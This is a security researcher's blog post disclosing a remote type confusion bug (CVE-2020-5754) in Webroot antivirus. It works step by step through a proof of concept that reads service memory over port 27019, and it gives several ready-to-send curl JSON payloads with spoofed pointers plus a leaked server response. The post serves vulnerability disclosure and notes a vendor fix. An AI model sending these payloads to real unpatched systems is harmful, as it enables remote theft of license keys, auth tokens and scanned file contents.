Exploiting a Webroot Type Confusion Bug

David Wells
Tenable TechBlog
Published in
6 min readJun 15, 2020

Remotely Leaking Antivirus Memory

Remotely Reading Webroot Service’s Memory and Extracting HTTP Token

Recently, I disclosed a couple vulnerabilities in Webroot Secure Anywhere Antivirus, one of them being a standard Local Privilege Escalation via DLL hijack in %PROGRAMDATA% path. However, instead of writing about that, I felt it would be more interesting to go over CVE-2020–5754, a remotely exploitable type confusion bug. When finding this, I originally just chalked it up as a Denial of Service vulnerability that’s capable of remotely disabling the antivirus…but for fun I took a couple extra days to write a working PoC that turns this into its maximum potential: an ability to remotely read process memory. Exploitation of this vulnerability can result in remotely stealing Webroot license keys, HTTP auth tokens, or even reading contents of files that have recently been scanned by the Webroot service — possibly resulting in some information disclosure.

The Issue

The Webroot service has a dll “WrUrl.dll” which listens on TCP port 27019 (all interfaces) and accepts incoming POST requests containing JSON data. In this communication protocol is an “OP” field (I assume stands for OPERATION), allowing you to trigger various functions in the service. One important thing that the service must do when parsing the client-supplied JSON data is validate the object types upon parsing, as not doing so could result in type confusion (ie: treating an int like a string). As seen below, Webroot properly validates the expected type being returned after “Keying” JSON objects and rejecting the corresponding value if it is not the expected type.

One part in this service did not validate the object type however, and this is found in the OPERATION 1 routine, which iterates over a “DATA” list of the user-supplied JSON data. Here is an example of an expected POST request this routine would process.

curl -X POST — header “Content-Type:application/urltree; charset=utf-8” -d “{\”VER\”:1, \”OP\”:1, \”DATA\”:[{\”URL\”:\”http://test\”}, {\”URL\”:\”http://test\”}], \”BRWSR\”:\”Chrome\”}”

In the OP 1 routine, the service enumerating the “DATA” list assumes each element to be of type “JSON object”, and then it attempts to key into the object by calling JSON_Key_Value function with the desired “Key” to extract its value. You can see below, it is passing this DATA list element to JSON_Key_Value along with a “URL” string, to attempt to key the “URL” value from the JSON object.

So…what happens if a DATA list element is not a JSON object?

ie:

… \”DATA\”:[\”NotJSON\”]…

Bad Things

Below, I show what this DATA list containing a JSON object looks like in Webroot’s memory.

However, since we are going to pass a DATA list not containing an expected JSON object, the routine will mistakenly pass our DATA list entry as if it were a JSON object to be keyed into. For example, sending…

curl -X POST — header “Content-Type:application/urltree; charset=utf-8” -d “{\”VER\”:1, \”OP\”:1, \”DATA\”:[\”NotJSON\”], \”BRWSR\”:\”Chrome\”}”

will end up dereferencing our “NotJSON” string as if it were a JSON Object.

This of course crashed instantly inside of the JSON_Key_Value routine.

Exploitation

When I first saw this, it looked VERY difficult to leverage for an exploit. You would not only have to pass a valid memory address encoded as a “String,” (so it doesn’t cause access violation) but that memory address itself would have to point to a string of “URL,” because the JSON_Key_Value routine attempts to key into this object with “URL” string, and that process verifies the passed JSON object contains a pointer to “URL” string (Key) before returning its corresponding “Value,” otherwise it will just exit. Luckily there was an elegant way to provide not only a valid pointer…but one that even points to a “URL” string…a “URL” string within a nested LIST entry!

curl -X POST — header “Content-Type:application/urltree; charset=utf-8” -d “{\”VER\”:1, \”OP\”:1, \”DATA\”:[[\”URL\”]], \”BRWSR\”:\”Chrome\”}”

Now the JSON_Key_Value will have something like this passed to it instead…

This is essentially a pointer to a pointer to “URL” string, which will validate the Key/Value check that JSON_Key_Value will try when it looks for a “URL” key. In order to return its corresponding value, JSON_Key_Value routine will return 0x10 bytes beyond the this Key (String Obj) because that’s where the pointer to “Value” member is normally located, but since this is not a Key/Value object, what will be at this memory location 0x10 bytes beyond?

0x10 bytes beyond our String Obj will be the contents of the following object if we add another list entry to the DATA list! This memory placement just so happens to be by design in how the JSON objects are constructed, and my analysis observed it to be deterministic (no heap boundary being crossed). Because of this, we can supply a second list object in the DATA list, with a pointer that’s encoded as a string and trick Webroot into dereferencing it as a memory address when it tries to retrieve the “URL” value..

curl -X POST — header “Content-Type:application/urltree; charset=utf-8” -d “{\”VER\”:1, \”OP\”:1, \”DATA\”:[[\”URL\”], [\”<encodedPointer>\”]], \”BRWSR\”:\”Chrome\”}”

Let’s take a look at this exact POST request in a debugger. Below, in the ecx register, shows our [“URL”] list being passed to JSON_Key_Value, which is just a pointer to a “URL” string, the string’s length (3), and object type code (0x300005). 0x10 bytes beyond however is the data of our following List entry.

This 0x10 byte offset will be returned when it finds our “URL” key and will later be dereferenced by Webroot service and its contents will be echoed back to us in the Webroot service response, since it thinks it’s the corresponding value for the “URL” key it just thinks it successfully keyed off a JSON object.

It’s not that easy though, yet. When Webroot attempts to dereference our string, it will do a type check to ensure this thing it is dereferencing is of type “String OBJ,” so we need to pad our encoded pointer with data to make this “object” look like it is a pointer to String OBJ. We do this by encoding a 32-bit pointer as a string and padding it with ‘1’s until it gets to offset 0xf, which stomps over the “type” information, and successfully spoofs the type of “String” when it’s object type is validated by Webroot.

curl -X POST — header “Content-Type:application/urltree; charset=utf-8” -d “{\”VER\”:1, \”OP\”:1, \”DATA\”:[[\”URL\”], [\”\\u0041\\u0041\\u0041\\u004111111111111111\”]], \”BRWSR\”:\”Chrome\”}”

Sending the above, will result in Webroot service sending back memory contents at the encoded pointer’s location (0x41414141) in the URL response.

…but let’s try to read a real memory address. How about the contents of a loaded DLL at memory address 0x73640000?

Client Command:

curl -X POST — header “Content-Type:application/urltree; charset=utf-8” -d “{\”VER\”:1, \”OP\”:1, \”DATA\”:[[\”URL\”], [\”\\u004c\\u0000\\u0064\\u007311111111111111111\”]], \”BRWSR\”:\”Chrome\”}” 10.0.2.5:27019

Server Response:

{“VER”:1,”OP”:1,”ERR”:0,”DATA”:[{“URL”:”�!This program cannot be run in DOS mode.\r\r\n$”,”CAT.CONF”:[“0.0”],”BCRI”:40,”ALCAT”:0,”RTAP”:0,”BLK”:0,”REF”:0}]}

…WOAH!

Conclusion

One difficulty in this, is that the Webroot service UTF-8 decodes chars above 0x7f which makes the current PoC unable to send memory addresses with bytes larger than 0x7f. If an attacker tries to exploit this and gets an address wrong (causing access violation), the service will start right back up again to give the remote attacker another try, which would have been quite practical from an attacker’s standpoint. Webroot has since fixed this issue in their v9.0.28.48 endpoint agent.

--

--